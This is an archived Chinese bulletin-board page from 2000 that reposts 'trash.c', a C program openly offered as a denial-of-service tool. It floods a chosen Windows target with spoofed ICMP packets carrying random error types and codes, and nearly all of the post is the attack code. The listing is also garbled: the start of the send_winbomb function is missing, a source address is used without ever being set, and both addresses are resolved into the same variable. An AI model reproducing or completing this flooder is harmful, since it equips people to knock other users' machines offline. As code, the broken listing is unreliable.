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<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
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<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="309.htm">上一层</a>][<a href="345.htm">下一篇</a>]
<hr><p align="left"><small>:发信人: scz (小四), 信区: Security <br>

:标  题: trash.c <br>

:发信站: 武汉白云黄鹤站 (Wed Apr 26 22:28:38 2000), 站内信件 <br>

/* Simple denial of service attack against Windows98/95/2000/NT Machines <br>

  <br>

   Overview: sends random, spoofed, ICMP packets with randomly choosen <br>

  <br>

   ICMP error codes. <br>

  <br>

   Result: Freezes the users machine or a CPU usage will rise to extreme <br>

  <br>

   lag. tested on: <br>

  <br>

        2.0.35 <br>

  <br>

        2.2.5-15 <br>

  <br>

        2.2.9 <br>

  <br>

        2.0.36 <br>

  <br>

  You may freely alter this code, but give credit where credit is due <br>

  <br>

  <br>

 */ <br>

  <br>

/* greets go out to: <br>

  <br>

        |gyr0|, Legio2000 Security Research(c)[for the idea and some of <br>

  <br>

        the code from bloop.c], codesearc, P.A.T.C.H., ppl in <br>

  <br>

        #ehforce@unet,  #bitchx@unet, 0l3g, packetstorm security <br>

  <br>

                -coded by misteri0 - [pr0tocol] <br>

  <br>

*/ <br>

  <br>

  <br>

  <br>

#include <stdio.h> <br>

  <br>

#include <unistd.h> <br>

  <br>

#include <stdlib.h> <br>

  <br>

  <br>

#include <string.h> <br>

  <br>

#include <sys/types.h> <br>

  <br>

#include <sys/time.h> <br>

  <br>

#include <sys/socket.h> <br>

  <br>

#include <netdb.h> <br>

  <br>

#include <netinet/in.h> <br>

  <br>

#include <netinet/ip.h> <br>

  <br>

#include <netinet/ip_icmp.h> <br>

  <br>

void banner(void) { <br>

  <br>

  <br>

  <br>

   printf("trash.c - misteri0@unet [pr0tocol]\n\n"); <br>

  <br>

  <br>

   printf("\n\n"); <br>

  <br>

} <br>

  <br>

void usage(const char *progname) { <br>

  <br>

   printf("usage:\n"); <br>

  <br>

   printf("./trash [src_ip] [dst_ip] [# of packets]\n",progname); <br>

  <br>

   printf("\t[*] [ip_src] :  ex: 205.56.78.0\n"); <br>

  <br>

   printf("\t[*] [ip_dst] :  ex: 201.12.3.76\n"); <br>

  <br>

   printf("\t[*] [number]  : 100\n"); <br>

  <br>

   printf("[pr0tocol] We are all connected by a simple line, just have to know <br>

  <br>

here to cut it [pr0tocol]\n"); <br>

  <br>

} <br>

  <br>

  <br>

int resolve( const char *name, unsigned int port, struct sockaddr_in *addr ) { <br>

  <br>

   struct hostent *host; <br>

  <br>

   memset(addr,0,sizeof(struct sockaddr_in)); <br>

  <br>

   addr->sin_family = AF_INET; <br>

  <br>

   addr->sin_addr.s_addr = inet_addr(name); <br>

  <br>

   if (addr->sin_addr.s_addr == -1) { <br>

  <br>

      if (( host = gethostbyname(name) ) == NULL )  { <br>

  <br>

         fprintf(stderr,"ERROR: Unable to resolve host %s\n",name); <br>

  <br>

         return(-1); <br>

  <br>

      } <br>

  <br>

      addr->sin_family = host->h_addrtype; <br>

  <br>

  <br>

      memcpy((caddr_t)&addr->sin_addr,host->h_addr,host->h_length); <br>

  <br>

   } <br>

  <br>

   addr->sin_port = htons(port); <br>

  <br>

   return(0); <br>

  <br>

} <br>

  <br>

unsigned short in_cksum(addr, len) <br>

  <br>

    u_short *addr; <br>

  <br>

    int len; <br>

  <br>

{ <br>

  <br>

    register int nleft = len; <br>

  <br>

    register u_short *w = addr; <br>

  <br>

  <br>

    register int sum = 0; <br>

  <br>

    u_short answer = 0; <br>

  <br>

  <br>

  <br>

    while (nleft > 1)  { <br>

  <br>

        sum += *w++; <br>

  <br>

        nleft -= 2; <br>

  <br>

    } <br>

  <br>

  <br>

  <br>

    if (nleft == 1) { <br>

  <br>

        *(u_char *)(&answer) = *(u_char *)w ; <br>

  <br>

        sum += answer; <br>

  <br>

  <br>

    } <br>

  <br>

  <br>

  <br>

    sum = (sum >> 16) + (sum & 0xffff); <br>

  <br>

    sum += (sum >> 16); <br>

  <br>

    answer = ~sum; <br>

  <br>

    return(answer); <br>

  <br>

} <br>

  <br>

   ip->daddr    = dest_addr->sin_addr.s_addr; <br>

  <br>

   ip->check    = in_cksum(ip, sizeof(struct iphdr)); <br>

  <br>

  <br>

  <br>

   icmp->type              = rand() % 15; <br>

  <br>

  <br>

   icmp->code              = rand() % 15; <br>

  <br>

   icmp->checksum          = in_cksum(icmp,sizeof(struct icmphdr) + 1); <br>

  <br>

   if (sendto(socket, <br>

  <br>

              packet, <br>

  <br>

              sizeof(struct iphdr) + <br>

  <br>

              sizeof(struct icmphdr) + 1,0, <br>

  <br>

              (struct sockaddr *)dest_addr, <br>

  <br>

              sizeof(struct sockaddr)) == -1) { return(-1); } <br>

  <br>

   ip->tot_len  = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + 8); <br>

  <br>

   ip->frag_off = htons(8 >> 3); <br>

  <br>

   ip->frag_off |= htons(0x2000); <br>

  <br>

  <br>

   ip->check    = in_cksum(ip, sizeof(struct iphdr)); <br>

  <br>

   icmp->type = rand() % 15; <br>

  <br>

   icmp->code = rand() % 15; <br>

  <br>

   icmp->checksum = 0; <br>

  <br>

   if (sendto(socket, <br>

  <br>

              packet, <br>

  <br>

              sizeof(struct iphdr) + <br>

  <br>

              sizeof(struct icmphdr) + 8,0, <br>

  <br>

              (struct sockaddr *)dest_addr, <br>

  <br>

              sizeof(struct sockaddr)) == -1) { return(-1); } <br>

  <br>

   free(packet); <br>

  <br>

  <br>

   return(0); <br>

  <br>

} <br>

  <br>

int main(int argc, char * *argv) { <br>

  <br>

   struct sockaddr_in dest_addr; <br>

  <br>

   unsigned int i,sock; <br>

  <br>

   unsigned long src_addr; <br>

  <br>

   banner(); <br>

  <br>

   if ((argc != 4)) { <br>

  <br>

      usage(argv[0]); <br>

  <br>

      return(-1); <br>

  <br>

   } <br>

  <br>

  <br>

  <br>

  <br>

   if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { <br>

  <br>

      fprintf(stderr,"ERROR: Opening raw socket.\n"); <br>

  <br>

      return(-1); <br>

  <br>

   } <br>

  <br>

  <br>

  <br>

   if (resolve(argv[1],0,&dest_addr) == -1) { return(-1); } <br>

  <br>

   if (resolve(argv[2],0,&dest_addr) == -1) { return(-1); } <br>

   printf("Status: Connected....packets sent.\n",argv[0]); <br>

   for (i = 0;i < atoi(argv[3]);i++) { <br>

      if (send_winbomb(sock, <br>

                       src_addr, <br>

                       &dest_addr) == -1) { <br>

         fprintf(stderr,"ERROR: Unable to Connect To luser.\n"); <br>

         return(-1); <br>



      } <br>

      usleep(10000); <br>

   } <br>

} <br>

-- <br>

</small><hr>
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